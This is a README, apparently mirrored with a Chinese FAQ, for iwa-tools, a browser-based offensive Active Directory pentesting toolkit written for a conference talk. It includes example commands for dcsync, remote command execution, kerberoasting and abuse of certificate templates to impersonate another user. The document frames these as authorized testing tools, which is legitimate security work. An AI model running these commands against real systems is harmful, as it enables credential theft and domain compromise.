iwa-tools README

The project's README from github.com/CICADA8-Research/iwa-tools. As one markdown file: README.md.

iwa-tools

TL;DR

Check out the demo on this site!

изображение

Description

Chrome has an experimental API called Direct Sockets that gives raw TCP/UDP to "Isolated Web Apps" — signed, installed web apps that live under isolated-app://<key>/. It exists so people can build things like SSH clients and databases inside the browser without a native shim. It also happens to be perfect for offensive AD tooling.

This is a bunch of pentesting utilities on top of that. Everything runs inside a signed .swbn that Chrome installs, and speaks SMB / LDAP / DCE-RPC / WinRM / Kerberos / MSSQL / ADWS from a browser tab.

Written for OFFZONE 2026 — talk "Living off the Browser".

Use only against systems you own or have explicit written permission to test.

Screenshots

The main console — one prompt, all tools. Here it's running portscan → adidns (Kerberos + LDAPS + channel binding) → certify find:

iwa-tools console

Or install each tool as its own IWA if you'd rather have a GUI than a console:

Standalone apps

What's in it

Tool What it does
nxc (netexec) The netexec port. SMB · LDAP · WinRM · MSSQL · SSH · FTP · RDP · VNC
adidnsdump Dumps AD-integrated DNS zones over LDAP
sharphound BloodHound collector — LDAP + SMB flavour
soaphound BloodHound collector — ADWS flavour (port 9389, quieter than LDAP)
certipy AD CS: ESC1-15 discovery, cert requests, PKINIT → TGT + UnPAC-the-hash
ldap-shell Interactive LDAP — DACL, RBCD, Shadow Creds, gMSA, password reset, all the fun stuff
evil-winrm Remote PowerShell over WinRM (HTTP/HTTPS)
portscan Plain TCP connect scanner

The protocol stacks are hand-written JS. NTLMv2 with signing and sealing, Kerberos AES256, pass-the-hash, pass-the-ticket, PKINIT, and channel binding (tls-server-end-point) for LDAPS / WinRM EPA on locked-down DCs.

TLS goes through rustls compiled to WASM (tls-wasm/) — that was way easier than writing a from-scratch TLS 1.3 stack in JavaScript.

Building

You need Node.js. Chrome ≥ 128 for install.

Enable these three flags at chrome://flags/#... and relaunch Chrome afterwards (otherwise nothing works):

Then:

git clone https://github.com/CICADA8-Research/iwa-tools && cd iwa-tools
make                       # build every tool
# or:  make iwa-tools      # just the combined console

Open chrome://web-app-internals, find Install IWA from Signed Web Bundle, paste the full path to iwa-tools/dist/iwa-tools.swbn, hit Install. It shows up in chrome://apps and the system launcher.

Rebuilds don't auto-update — you have to hit Perform update now on the same page. That's a Chrome quirk.

Using it

The console has a help command. help <tool> for a specific one. If you've used netexec / crackmapexec, most of this will feel familiar:

nxc smb 10.0.0.0/24 -u admin -d corp.local -p PASSWORD --shares
nxc smb dc01 -u admin -d corp.local -p PASSWORD --dcsync             # everyone
nxc smb dc01 -u admin -d corp.local -p PASSWORD --atexec whoami
nxc ldap dc01 -u admin -d corp.local -p PASSWORD --kerberoast
nxc winrm dc01 -u admin -d corp.local -p PASSWORD -x hostname
nxc mssql db01 -u sa -p PASSWORD --query 'SELECT @@version'
certipy find -H dc01 -u admin -d corp.local -p PASSWORD --tls
certipy req  -H dc01 -u lowpriv -d corp.local -p PASSWORD \
             --cahost ca01 -ca corp-CA -t VulnerableTemplate -upn [email protected]
certipy auth -k dc01 -pfx loot/certipy/…pfx
sharphound -H dc01 -u admin -d corp.local --collection Default --tls
ldap-shell -H dc01 -u admin -d corp.local --tls

Files (ccache/kirbi, wordlists, results) live in an in-memory store — there's a Files tab in the UI for upload/download. Then any command that takes --ticket <path> or @path for arg interpolation picks them up.

What doesn't work (yet)

Development

make test             # per-tool unit tests
make clean            # drop dist/
make distclean        # also drop node_modules/
make keygen-<tool>    # regenerate signing key — CHANGES the app origin

The signing key is Ed25519 per tool, generated on first build. The public key becomes the app's isolated-app://<key>/ origin, so regenerating a key means the app installs fresh — Chrome treats it as a different app entirely.

License

MIT. See LICENSE.

iwa-tools (CICADA8-Research/iwa-tools)

Searching Database…

146 ·GitHub
Iwa-tools
这是什么？iwa-tools 是一个攻击性安全工具包,以已安装的隔离 Web 应用(Isolated Web App)的形式运行在 Chrome 里,让你可以直接在浏览器标签页里使用 SMB、LDAP、DCE-RPC、WinRM、Kerberos、MSSQL 和 ADWS 协议,开展 Active Directory 渗透测试。
它是浏览器扩展吗？不是——它是一个隔离 Web 应用,一个经过签名的 .swbn 包,Chrome 通过其实验性的 Direct Sockets API(用于原始 TCP/UDP)像原生应用一样安装它,而不是普通扩展。
构建和运行它需要什么？构建只需要 Node.js;安装和使用需要 Chrome 128 或更新版本,并启用那三个实验性标志。
还有什么功能现在用不了？nxc smb --wmi 尚未实现,因为 DCOM NDR 编组还没完成(请改用 nxc winrm --wmi);也不支持完整解析 ntds.dit——它只下载原始 hive 文件,并指引你在本地使用 secretsdump.py。
在任何装了 Chrome 的系统上都能运行吗？可以——由于它是隔离 Web 应用而非原生代码,凡是 Chrome 128+ 能运行的地方,Windows、macOS 或 Linux 上它都能运行。
这个工具包里有什么？它捆绑了一个 netexec 风格的多协议客户端(SMB/LDAP/WinRM/MSSQL/SSH/FTP/RDP/VNC)、adidnsdump、sharphound 和 soaphound 这两个 BloodHound 采集器、用于滥用 AD CS 的 certipy、交互式 ldap-shell、evil-winrm,以及一个简单的 TCP 端口扫描——全部是手写的 JS 重实现。
这些网络协议是怎么用 JavaScript 实现的？作者用 JS 手写了协议栈,包括 NTLMv2 签名/加密、Kerberos AES256、pass-the-hash/pass-the-ticket、PKINIT 和 TLS 通道绑定,而 TLS 本身由编译成 WASM 的 rustls 处理。
为什么要做这个？它是为 OFFZONE 2026 的演讲 “Living off the Browser” 而写的,展示 AD 攻击工具可以完全运行在一个经过签名、已安装的浏览器标签页里,而不需要原生植入体。
如果我重新构建这个应用会怎样？每次构建都会为每个工具生成新的 Ed25519 签名密钥;由于公钥会成为该应用的 isolated-app:// 源(origin),Chrome 会把重新构建的应用当作一个全新的、独立的应用。
What are similar projects?Claude-Red, Decepticon, CVE-2026-62911, xray, ARTEX, Sn1per, Claude-AD, 404StarLink
Which topics is it in?hacking-tools, red-teaming, network-security, chrome, offensive-security, red-team, penetration-testing, wasm, cybersecurity, security-tools, browser, security
Creator
CICADA8-Research
Size
1.4 MB
Stars
146
Updated
CommitAug 27
Age
1mo
Commits · 90 Days